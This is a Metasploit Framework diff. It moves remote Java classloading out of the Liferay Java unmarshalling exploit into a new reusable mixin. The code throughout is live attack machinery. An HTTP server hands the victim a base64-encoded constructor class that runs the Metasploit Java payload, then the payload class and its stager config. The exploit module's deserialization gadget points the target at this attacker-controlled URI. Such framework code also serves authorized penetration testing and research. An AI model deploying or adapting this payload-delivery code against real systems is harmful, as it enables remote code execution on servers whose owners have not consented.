diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index 72c1bd15a8..bc7c2f3054 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -16,6 +16,7 @@ require 'msf/core' require 'msf/core/exploit/java/rmi/util' require 'msf/core/exploit/java/rmi/client' +require 'msf/core/exploit/java/classloading' module Msf module Exploit::Java diff --git a/lib/msf/core/exploit/java/classloading.rb b/lib/msf/core/exploit/java/classloading.rb new file mode 100644 index 0000000000..fc02f50950 --- /dev/null +++ b/lib/msf/core/exploit/java/classloading.rb @@ -0,0 +1,114 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::Java::ClassLoading + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Stance' => Msf::Exploit::Stance::Aggressive + )) + end + + def start_service(opts = {}) + ssl = datastore['SSL'] + datastore['SSL'] = false + + super(opts.merge('Path' => '/')) + + classloading_uri = get_uri + datastore['SSL'] = ssl + + classloading_uri + end + + def on_request_uri(cli, request) + vprint_status("#{request.method} #{request.uri} requested") + + unless %w[HEAD GET].include?(request.method) + vprint_error("Ignoring #{request.method} request") + return + end + + if request.method == 'HEAD' + whitelist = %W[ + /#{class_name}.class + /metasploit/Payload.class + /metasploit.dat + ] + + unless whitelist.include?(request.uri) + vprint_error('Sending 404') + return send_not_found(cli) + end + + vprint_good('Sending 200') + return send_response(cli, '') + end + + case request.uri + # Stage 1 + when "/#{class_name}.class" + vprint_good('Sending constructor class') + # This contains the constructor that will call our JavaPayload + res = constructor_class + # Stage 2 + when '/metasploit/Payload.class' + vprint_good('Sending payload class') + # This is our JavaPayload as a compiled class + res = MetasploitPayloads.read('java/metasploit/Payload.class') + # Stage 3 + when '/metasploit.dat' + vprint_good('Sending payload config') + # This tells the target how to address the payload; this is the magic! + res = payload_instance.stager_config + else + vprint_error('Sending 404') + return send_not_found(cli) + end + + send_response( + cli, + res, + # file -I says application/x-java-applet, but I don't believe it + 'Content-Type' => 'application/octet-stream' + ) + end + +=begin javac Metasploit.java + import metasploit.Payload; + + public class Metasploit { + public Metasploit(){ + try { + Payload.main(null); + } catch (Exception e) { } + + } + } +=end + def constructor_class + klass = Rex::Text.decode_base64( + <<~EOF + yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN + U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u + AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB + AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA + AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB + BwALAAAA + EOF + ) + + # Replace length-prefixed string "Metasploit" with a random one + klass.sub("\x0aMetasploit", packed_class_name) + end + + def class_name + @class_name ||= rand_text_alpha(8..42).capitalize + end + + def packed_class_name + "#{[class_name.length].pack('C')}#{class_name}" + end + +end diff --git a/modules/exploits/multi/http/liferay_java_unmarshalling.rb b/modules/exploits/multi/http/liferay_java_unmarshalling.rb index 547b083c37..ea1b2f1797 100644 --- a/modules/exploits/multi/http/liferay_java_unmarshalling.rb +++ b/modules/exploits/multi/http/liferay_java_unmarshalling.rb @@ -8,7 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::Java::ClassLoading include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -44,8 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] - }, - 'Stance' => Stance::Aggressive + } )) register_options([ @@ -105,10 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote super # Start our HTTP server to provide remote classloading - ssl = datastore['SSL'] - datastore['SSL'] = false - start_service('Path' => '/') - datastore['SSL'] = ssl + @classloading_uri = start_service print_status('Sending go-go-gadget for remote classloading') @@ -139,59 +135,6 @@ class MetasploitModule < Msf::Exploit::Remote }, 0) end - def on_request_uri(cli, request) - vprint_status("#{request.method} #{request.uri} requested") - - unless %w[HEAD GET].include?(request.method) - vprint_error("Ignoring #{request.method} request") - return - end - - if request.method == 'HEAD' - whitelist = %W[ - /#{class_name}.class - /metasploit/Payload.class - /metasploit.dat - ] - - unless whitelist.include?(request.uri) - vprint_error('Sending 404') - return send_not_found(cli) - end - - vprint_good('Sending 200') - return send_response(cli, '') - end - - case request.uri - # Stage 1 - when "/#{class_name}.class" - vprint_good('Sending constructor class') - # This contains the constructor that will call our JavaPayload - res = constructor_class - # Stage 2 - when '/metasploit/Payload.class' - vprint_good('Sending payload class') - # This is our JavaPayload as a compiled class - res = MetasploitPayloads.read('java/metasploit/Payload.class') - # Stage 3 - when '/metasploit.dat' - vprint_good('Sending payload config') - # This tells the target how to address the payload; this is the magic! - res = payload_instance.stager_config - else - vprint_error('Sending bogus file') - return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") - end - - send_response( - cli, - res, - # file -I says application/x-java-applet, but I don't believe it - 'Content-Type' => 'application/octet-stream' - ) - end - # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a def go_go_gadget # https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java @@ -212,48 +155,12 @@ class MetasploitModule < Msf::Exploit::Remote # Replace length-prefixed placeholder strings with our own gadget.sub!(/.HACK/, packed_class_name) - gadget.sub!(/.THE/, packed_get_uri) + gadget.sub!(/.THE/, packed_classloading_uri) gadget.sub(/.PLANET/, packed_class_name) end -=begin javac Metasploit.java - import metasploit.Payload; - - public class Metasploit { - public Metasploit(){ - try { - Payload.main(null); - } catch (Exception e) { } - - } - } -=end - def constructor_class - klass = Rex::Text.decode_base64( - <<~EOF - yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN - U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u - AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB - AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA - AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB - BwALAAAA - EOF - ) - - # Replace length-prefixed string "Metasploit" with a random one - klass.sub("\x0aMetasploit", packed_class_name) - end - - def class_name - @class_name ||= rand_text_alpha(8..42).capitalize - end - - def packed_class_name - "#{[class_name.length].pack('C')}#{class_name}" - end - - def packed_get_uri - "#{[get_uri.length].pack('C')}#{get_uri}" + def packed_classloading_uri + "#{[@classloading_uri.length].pack('C')}#{@classloading_uri}" end end